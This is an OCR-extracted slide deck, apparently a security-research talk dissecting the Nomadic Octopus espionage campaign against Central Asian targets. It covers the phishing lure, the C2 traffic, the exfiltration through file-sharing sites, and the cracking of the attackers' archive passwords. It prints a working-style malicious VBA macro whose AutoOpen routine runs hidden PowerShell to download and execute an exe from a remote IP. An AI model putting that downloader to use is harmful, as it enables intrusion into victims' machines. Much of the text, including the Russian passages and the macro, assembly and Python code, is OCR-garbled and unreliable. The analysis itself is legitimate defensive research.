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Discovery: spearphishing email

@ Aopowas wHdopmauwra - Mozilla Thunderbird l = | (=] |-3-h

File Edit View Go Message Tools Help

From Maeac 3enengunos <izelendinov@mail.ru= 4 Reply <4 Reply All|~ =p Forward More ~
Subject Xopowas nudopmarima 11.12.2016 10:10

Ao6peii e

A asnAwChL YMTaTENEM BaLUEro EJ'IDTEI, WYy MEHA ONA BaC eCTb xDpDI.IJHﬁ MaTepKran,
KacaTeNbHO Halle CTpdHbl, MaTepkan HanKucaH Ha AHIMWHACKOM A3bIKE HO Ay MaHD
Bam He COCTaBMT TPYOa €ro nepesect 1 DI'I‘,'EJ'IHHDBEITIJ B bnore.

Wneac 3enenauHoB

a @1 attachment: 5.doc 640 KB & Save |-

W 5.doc G640 KB
iy}
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Decoy document

- S.doc[Co r'ﬂpatil:l”it_f' Mode] - Ward =

Home Insert Design Layout References Mailings Review View Q Tell me... Sign in

I SECURITY WARNING Macros have been disabled. Enable Content

Pagel of 5

The following mformation 1s provided in response to reftel request. Openness to Foreign Investment --——-
——————————————————————— Kazakhstan has made significant progress toward creating a market economy since
its independence in 1991, The European Union in 2000 and the U.S. Department of Commerce in March
2002 recognized the success of Kazakhstan's reforms by granting it market economy status. Kazakhstan
also has attracted significant foreign investment since independence. By July 2007, foreign mnvestors had
wmvested a total of about $58.3 billion 1n Kazakhstan, primarily in the oil and gas sector, during the
country’s fifteen years of independence.

In December 2008, amendments to the Subsurface Law further tightened the government's application
of local content requirements, requiring companies to meet local content benchmarks annually, rather

2828 words  L|# B B - ]

O X

JQ'_ Share

+

100%



Go gle "Kazakhstan has made significant progress toward creating a market economy" Q_

All News Images Videos Shopping More Settings Tools

About 100 results (0.41 seconds)

Kazakhstan - Executive Summary - export.gov
https://www.export.gov/apex/article2?id=Kazakhstan-Executive-Summary ~

Sep 20, 2017 - Kazakhstan has made significant progress toward creating a market economy
since it gained independence in 1991, and has achieved ...

[PPFl Executive Summary Kazakhstan has made significant progress towa...
https://www.state.gov/documents/organization/229094 .pdf ~

Kazakhstan has made significant progress toward creating a market economy since it gained
independence in 1991, and has achieved considerable results in its efforts to attract foreign investment.
... The government maintains a dialogue with international investors and is committed to improving the
investment climate.

Cable: 07ASTANA173_a - WikiLeaks
https://wikileaks.org/plusd/cables/07ASTANA173 a.html ~

Openness to Foreign Investment Kazakhstan has made significant progress
toward creating a market economy since its independence in ...




Malicious Macro

Sub ihhumm( )

Dim cmd

If Application.Documents.Count > @ Then

cmd = "cmd.exe fc "PowerShell.exe -ExecutionPolicy Bypass -NoProfile
WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('
http://92.63.88.142/Rei2uHae/infTe.exe’, "RAPPDATAR.exe ' ) ;5tart
Process 'HAPPDATAX.exe" ™"

Shell cmd, False

End If

End Sub

Sub AutoOpen()
ihhumm
End Sub




Timeline

*First detection in 2015
*Email - December 2016
*PHDays 2017

*Virus Bulletin 2018



Spreading

@_: [ padwvk OTNYCKOB COTPYAHWKOE aBrycr-aekabps 2018 roaa.exe
E WMHOOPMaUWMOHHOe coobuweHwe 3a 172 anpena 2018 roaa.exe

E MHubopmaunoHHoe coobuleHwe ot 09 okratpa 2015 ropa.exe

y

R }
flashplayer p—
20pp_da_in Java7.exe Java8.exe
stall.exe
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# Mpaduk
# " uHbopm|
4" Mudopm

flashplayer
Z20pp_da_in
stall.exe

Spreading

- YcraHoswmk Adobe Flash Player

Adobe Flash Player: 3azpyska...

37%




The malware: Delphi

interface

i & SR

Remote Debugger Server

embarcadero 2 o oy~

De'phi XE4 | InstaliShield Express - Borland Limited & ‘,:_'::I /




The malware: internal name and version

1l 0 vde Bl —ab (H == =01 =0 1 1=1 )1 ll' 171 F1id UL )1 1~ i i |
0 i 0=l P] ] 1 HDR- = ma+{ POy r+ i1 R QQiE°OE-  u® w@h =N iE"|Y Oyt
E-hnEN 1E°[@ + fouk: 66_~[YY]} ¢ .jpe  Ui=3prQQQQQQQSVWit3 Uh6
Ly [iCHOH + %mLH 0§>- i=j j j IKD|x&n il0t@- j j j ike|hsn il02?- htAN iE
TH > . 1E=PhXAN uthdAN iEx|Y 0o+ IEwif3;0té iMDeG+ iEXOh;  uX s@hEAN
=N iEX|s Onit }oo-+ 66 ~[ic]l} @ / 4  bhash Y sid
userfile « http:// i |/octopus_images/index.php|| Ulw3[()
AN 1 H Q8iE"iN@| 96N OnB+ iurilif] Q8IE°IiND|%oN OrE: 1U°1[1g QB”HGN ilig o3|
iU=1 i Quik=lPoN 0él+ usild1i+ heu OGR> iHp4  69iloci+ vhlAn ikpel< 3lzy
§ CLIENT=Bct@pusSuccess @ SessionTime= ¥ 1ID= +
p D¢y [1-U1=3 "Uhaol d bde # uP 3l7yvdérhion FB"D+ 5°1H La-"uP @jui=3
LGN 1f@ <f@ ~d@ 2d@ »g@ of@ ot@ i t@ Tu@ Ot@ "A = A “x@ 0x@ 0=@ hn@ T-@ $-




The malware: internal name and version

U d vde pol-&B == W1=nJ Q1ISV T 1 UKy~ 1511 QUiTAU 170
20 i $~ﬂ* PJ ] lémL'— $*+{ 0 1M1 il QiE®D u® wigh &N iE"|w

SxhnEN 1E“”E D=5+ FH“ i+ 66 ~[YY P .Jjpe U3 FQQQQQQQ5Vh

Ly ricHo-] ¢ Boil-H 08>- i=j j j ikD[|xen ilot@- § § § ike|han ilo2?. hEEN iF
CODE:@04E1865 lea eax, [ebp+var (]

CODE : 984E1868 mowv edx, offset str 3 1 1.Text

CODE:@B4E186D call . System:: linkproc L
CODE:@084E1872 mov eax, [ebp+var 4] _str_3_1 1 dd @FFFFFFFFh
CODE:@04E1875 mov edx, [ebp+var (]

CODE:@04E1878 call dd 5

CODE : @@4E187D Xor eax, eax db "3.1.1°,0

f@ <f@ ~d@ 9d@ »=g@ of@ ot@ t@ Tu@ Ot@ A = A x@ 0x@ 0=@ hn@ T-@ %-




The malware: functionality

HOBLES 19y
#BB4ES2 088
‘HOBLESECH
‘HOBLE3F A8
HOBLEL4B60

H#OB4ELBBC

HO84ELODS
HOBLE4ACH
HOB4ELAELC

H#OBLELBEC

HO84ELCS
HO0LELD1S
HOBLELD LY
HOBLELEZC
‘HOBLELESS
HOBLELF 40
HOB4ELFOC
HOBLES ALY
‘HOBLESBEO
HOBLES168
‘HOB4E3BFA
#BB4EGBRC

TForml .FormCreate
TForm1.Timer1Timer
TForml.CheckServerTimer
TForml.GetPrintScreen
TForm1 .PrintScreen_off
TFormi.GetCanScreen
TForml.GetDirList
TForm1.DirList off
TForm1.GetDownLoad
TForm1.DownlLoad off
TForml .GetDovnlLoad?
TForm1.DownLoad? off
TForm1.GetUpLoad
TForm1.UpLoad off
TForm1.GetRunFile
TForm1.RunFile off
TForm1.GetCHDQuery
TForm1 .CHDQuery off
TForm1.GetUpLoadFiles
TFormi .UpLoadFiles off
TForm1.DelTmp
TFormi.Timer2Timer



The malware: network communication

POST finclude/systm.php HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 146

Host: prom3.biz.ua

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=-0.8
Accept-Encoding: identity

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64; rv:23.8) Gecko/20100101 Firefox/23.8

CLT ENT:end&sessionTime=1455451355&1D=?fbba9a35518f2438—&cq=1&[)ata=5 E63202D6
220666F722068656C703A204EAF5FA4441544120202020202020200D8AHTTP,/1.1 200 0K

Server: nginx admin

Date: Thu, 89 Jun 2016 B88:31:35 GMT

Content-Type: text/html

Content-Length: 3

Connection: keep-alive

Keep-Alive: timeout=35

X-Powered-By: PHP/5.3.28

ENJOY SAFER TECHHOLOGY



Eer|

Exfiltration websites

File sharing hosting:
* http://php-studia.ru/upload/ (defunct
* http://www.fayloobmennik.net/

Nporpamus ans sakadkn dafinoe | FAQ | Hoeocom

perweroaus | pxoa CaHT npoaaérca

MpeanoxeHWe 0 NoEyNKe ELICEINANATE Ha SNEETROHHYH NOYTY,

MonesHoe: OpOrpaMMs ANA S3KaHKH TON mMyseikaneHex dbakinoe

[ | 3arpysutb daiin Cka4datb daiiabl OcCTaBWTb MHEHME

~A

] 3arpys3wTb cBoM dakin

B hopHe NpHESSHHOH Hitks HEKMHTE KHONKY oB20p W ELiBepHTe d3HN KOTOPLIH BLI HOTHTE PAZMECTHTE Y Hac. TTOCNE 33TPYSKH LI NONYMHTE CCEINKY ANA CEIMHE HAA,

Bee 3a M 3ar 51 Ha dhoTonocrnr Fotolink.su!

BriGepuTte diakn (MAX 2000mb): Browse... | Ma file selerted.

CnucaHme

CornaceH c NpaBrAaMKM CEpBMCA

Baw e-mail SEEETS

Napone & tadny

Urobni ckpemn dafin oT noecroponnng, yraxcyTe naponn! On GyaeT epicnan Ha e-mail, ecan
3AN0AHKTE 3T0 NORE.



Data exfiltration

O

\

<Downtoad-URt— .
Password ‘




CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:

FAl

Be4E46CE
0e4E46D1
Be4E46D6
0O4E46DB
Be4E46DE
OO4E46E3
PO4AEABES
OO4E46EE
PO4EABFO
OO4E46F5

brevia

TurboPower Abbrevia

=~

= U

The malware: data compression

lea
mov
call
mov
mov
call
mov
mov
call
mov

data

edx, [ebp+str_password]

eax, 32

generate password

edx, [ebp+str_password]

eax, offset str_generated password

@System@@LStrAsgtqqrpvpxy ; System::_ linkproc__ LStrAsg(void *,void *)

edx, ds:str_generated password

eax, esi
TAbZipper SetPassword
eax, esi
compresslo toolkit

Abbrevia is a compression toolkit for Embarcadero Delphi, C++ Builder, and Kylix, and

FreePascal. It supports PKZip, Microsoft CAB, tar, gzip, bzip2 and zlib compression

formats, and the creation of self-extracting executables. It includes several visual

components that simplify displaying zip files.

ENJOY SAFER TECHHOLOGY



The malware: naming scheme

SessionTime is used as filename:

o bimppell 10/04/2018 @ 3:00pm (UTC) — 1538665200.tmp
push dword ptr [ebx+40h] 10/04/2018 @ 3:30am (UTC) - 1538623800tmp
push offset str_ tmp.Text ; .tmp

lea eax, [ebp+var 14]

mov edx, 3

call @System@@LStrlatN$ggrv ; System::_ linkproc__ LStrCatN(void)

mov eax, [ebp+var 14]

push eax

lea eax, [ebp+var_ 20]

call get temp path

push [ebp+var 20]

push dword ptr [ebx+48h]

push offset str_ zip.Text ; .zip

lea eax, [ebp+var 1C]

mov edx, 3

call @System@@LStrlatN$ggrv ; System::_ linkproc__ LStrCatN(void)

mov eax, [ebp+var 1C]

pop edx

call @Sysutils@RenameFile$qqrxl7System@insiStringtl ; Sysutils::RenameFile

ENJOY SAFER TECHHOLOGY



ENJOY SAFER

Fayloobmennik.net

Hziti dain no vmenn: Emp m|

1zz24.. 2

1486641247 tmp 32.65 MB 10/02/2017 06:24

1486406429.tmp 119.95 MB 08/02/2017 05:58

1486373457 tmp °2.30 ME 08/02/2017 05:54

1486036335.tmp 51.28 MB 02/02/2017 16:43

14857 765950.tmp 12.52 MB 31/01/2017 11:54

1485431892 .tmp 19.36 MB 26/01/2017 17:24




Exfiltration data

* First file: 1457893802.tmp - GMT: 13 Mar 2016 18:30
*Biggest file ~770 Mb
* Total 280 archives (~¥16Gb of compressed data)
* Mostly documents:
*doc, docx, xls, xlsx, rtf, txt, pdf, jpg



Upload dates: Weekdays
120

100

80 -

60 -

40

20 -




Upload dates: Hours (GMT)
90

80

70

60 -

50
40

30

20

10

07 I I X.X I I I I

@12 3 45 6 7 8 9101112131415161718192021 2223



Suspected timezones

UTC+5 UTC+6
Eastern Europe [edit] North Asia [edit]
« mmm Russia — Yekaterinburg Time » mmm Russia — Omsk Time
Central Asia [edit] Central Asia |edit]
« [ Kazakhstan (western part) — Time in Kazakhstan « [l Kazakhstan — Time in Kazakhstan
« Aktobe Region, Atyrau Region, Mangystau Region, West Kazakhstan Region « most of country (including Astana and Almaty)
¢ = Tajikistan — Time in Tajikistan « Bl Kyrgyzstan — Kyrgyzstan Time

. Turkmenistan — Time in Turkmenistan .
Fll South Asia |[edit]

« [l Bangladesh — Bangladesh Standard Time

¢ — Uzbekistan — Time in Uzbekistan

South Asia |[edit] ¢ _.d Bhutan — Bhutan Time
« [Ell Maldives — Time in the Maldives » E= British Indian Ocean Territory
. Pakistan — Pakistan Standard Time « including Chagos Archipelago and Diego Garcia

Antarctica |[edit]

+« Some bases in Antarctica. See also Time in Antarctica.

ENJOY SAFER TECHHNOLOGY"



Victims

& [ - oobmennik\ 1478097739.tmp) - O X

File Edit View Favorites Tools Help

&k = v w = ¥ i
Add Extract Test Copy Move Delete Info

* L I - |0 obmennik\ 1478097739 tmp\ v
Name Size  Packed Size Modified Encrypted Method

I oy ko pst| 16524288 6671646 2016-11-0117:26 + ZipCrypto Deflate
< >

0/ 1 object(s) selected

(es)



Victims

Google i

Translate Turn off instant translation G
Persian English Spanish Persian - detected - "'.p English Spanish Arabic -
x * - s [ .
Ol ) (=Sl 6y seex & i Embassy of Islamic republic of Iran
v/
& 255000 ¢ W 0 ) < ’
L-,I_HI ol 59402 ylaw.docx 15 059 12 252 2016-12-21 19:04 + ZipCrypto Deflate
@ .1ikwyb.docx 13 232 10 666 2016-12-06 09:45 + ZipCrypto Deflate
@ |Mr.docx 10 307 7704 2016-12-2018:36 + ZipCrypto Deflate




Nomadic Octopus: Victimology

* Political blogger from Kazakhstan
* Local governments
* Diplomatic missions in Central Asia



Malicious Tools

O - | oobmennik\1465469427.tmp\ — O X

File Edit View Favorites Tools Help

P = v W = R i
Add Extract Test Copy Move Delete Info

7 | o\ -, o obmennik\ 1465469427 tmp\

Name

7 112-26-54__09-06-2016.pcap

1 11-07-14__09-06-2016.pcap

<

0 / 2 object(s) selected

Size  Packed Size Modified Encrypted Method
6 291 157 3 291 204 2016-06-09 13:37 + ZipCrypto Deflate
3 031 006 1752 541 2016-06-09 11:33 + ZipCrypto Deflate



CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:
CODE:

Be4E1417
©@84E141C
U4E141F
©Be4E1424
B84E1429
©e4E142B
B84E1438

004E1430 loc_4E1430:

B84E1438
©e4E1433
B8a4E1438
@04E143D
@a4E1448
@04E1443
@84E1446
@04E144B
B4E144E
@e4E1458
@a4E1455
Be4E1457
@8a4E145C
B4AE14A5E
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Password generation algorithm

call @System@Randomize$qqrv ; SyStem::Randomize(voidjl
£a gax, |eoprvar o]
mov edx, offset str_abcdefghijklmno 2.Text ; abcdefghijklmnopgrstuvwxyzABCDEF

call @System@@lStrLAsgSggrpvpxy ; System:: linkproc_ LStrlLAsg(void *,void *)
mov eax, ebx
call @System@@lLStrClr$ggrpy ; System:: linkproc_ LStrClr(void *)

; CODE XREF: generate password+62{j

mov eax, [ebp+var 4]

r;all____“&:a;an_1 ; BDS 2005-2007 and Delphi6-7 Visual Component Library
call Random ; BDS 2005-2007 and Delphi6-7 Visual Component Library
mov edx, [ebp+var 4]
mov dl, [edx+eax]
lea eax, [ebp+var 8]
call UStrFromWChar  ; BDS 2005-2007 and Delphi6-7 Visual Component Library
mov edx, [ebp+var 8]
mov eax, ebx
call @System@@LStrCat$qgaryv ; System:: linkproc_ LStrCat(void)
mov eax, [ebx]
call UstrlLen ; BDS 2005-2007 and Delphi6-7 Visual Component Library
cmp esi, eax
inz short loc 4E1430
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Delphi random implementation

; DWORD _ cdecl System::Randomize()
@System@Randomize%qqrv proc near

var_8= dword ptr -8

add
push
call
test
jz
mov

loc_402C44:
call
mowv
pop
pop
retn

esp, OFFFFFFF8h

esp
QueryPerformancelounter
eax, eax

short loc_402C44

eax, [esp+8+var 8]
ds:seed, eax

ecx

edx

GetTickCount
ds:seed, eax
ecx
edx

@System@Randomize$qqrv endp

Random proc

push
xor
imul
inc
mov
mul
mov
pop
retn
Random endp

near

ebx

ebx, ebx

edx, ds:seed[ebx], 8088485h
edx

ds:seed[ebx], edx

edx

eax, edx

ebx



Password generation routine

pazs_gern.py

alphabet b'abcdefghijklmnopqrstuvwxyz ABCDEFGHIIKLMNOPQRS TN Y Z1 234567598 L IRE%R 8% () +-="

seed range(@, @xFFFFFFFF):
tmp seed seed
password '
i range(@, 32):
tmp_seed = {(tmp_seed * @x&088485) & @fTIfiff) + 1

1
2
3
aq
-
&
i
B
=

char_index = ((({tmp seed * len{alphabet)) 32) @ffffffff)
password = password + chrialphabet[char index])

print( "Seed: {@:@8K} - {1:s5}"'.format(seed, password))




Tools
Password: iM2dSxP(84Y!YVA9uFO@kIm50&2I5AFs

ez o N 1751 117\

File Edit Miew Favorites Tools Help

f = v o) w1

Add  Extract Test Copy Mowe Delete  Info

T L o/ 10567510t

Marme size Packed Size  Modified Encrypted  Method Created
= Eplink exe 311296 172527 2016-09-14 09:58 + ZipCrypto Deflate
B proogy e 131072 0991 2016-09-14 09:58 + ZipCrypto Deflate
B prisc.exe 936 448 453 890  2016-12-01 09:45 + ZipCrypto Deflate
B svh.exe 2 056 192 251124 2016-07-1909:21 + ZipCrypto Deflate
4 Tl

0 abject(s) selected

B=x EER(E>T

-

Arccessed Attrib

-

Eer|



Password: iM2dSxP(84Y!YVA9uFO@kIm50&2I5AFs

D:-

Eile  Edit

Sdd  Extr

....................

....................

0 abject(s) :

Eer|

Tools

=3
Count of sections 11 | Machin T"+Elaz:]
Symbol table ©00000000[00000000 ] UTC Fri Dec 85 14:52:48 2814
Size of optional header OOE® | Magic [thEﬂET'hEHﬂE ot
Linker version 2.25 | 0S version 5.00
Image version 0.00 | Subsystem version 5.00 v
Entry point PA1BF294 | Size of code @e1BDCEA Attribi
Size of init data PPB38000 | Size of uninit data alalslslsla1a]5]
Size of image PR204000 | Size of header peeeR40e
Base of code POPR1000 | Base of data 0e1Ce0ee
Image base 00400000 | Subsystem GUI
Section alignment 0eeR1000 | File alignment Pe0e0200
Stack 00100000 /00004000 Heap PE1600600 /00001000 n
Checksum P0eeaRee | Number of dirs 16




Documents collector

j SuccessLog.txt - Notepad — [ X
File Edit Format View Help
SearchPath: "G:\" TypeFiles: "doc,docx,xls,xlsx,rtf,txt,pdf" Date: 19.04.2017-13.04.2017
rerwrarsrsraras STAPT D 14.,04.,2017 105 145 2 3rerarurunanarun
11.04.2017 12:01:04 G:\Documentl.docx
11.04.2017 17:16:16 G:\Document2.doc

rararsnararsram EN (] 2 14.04,2017 10:23:03~~rmmininin
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Nomadic Octopus

* Custom malware

* Cyberespionage

*Region specific: Central Asia
*Low budget

*Bad OPSEC
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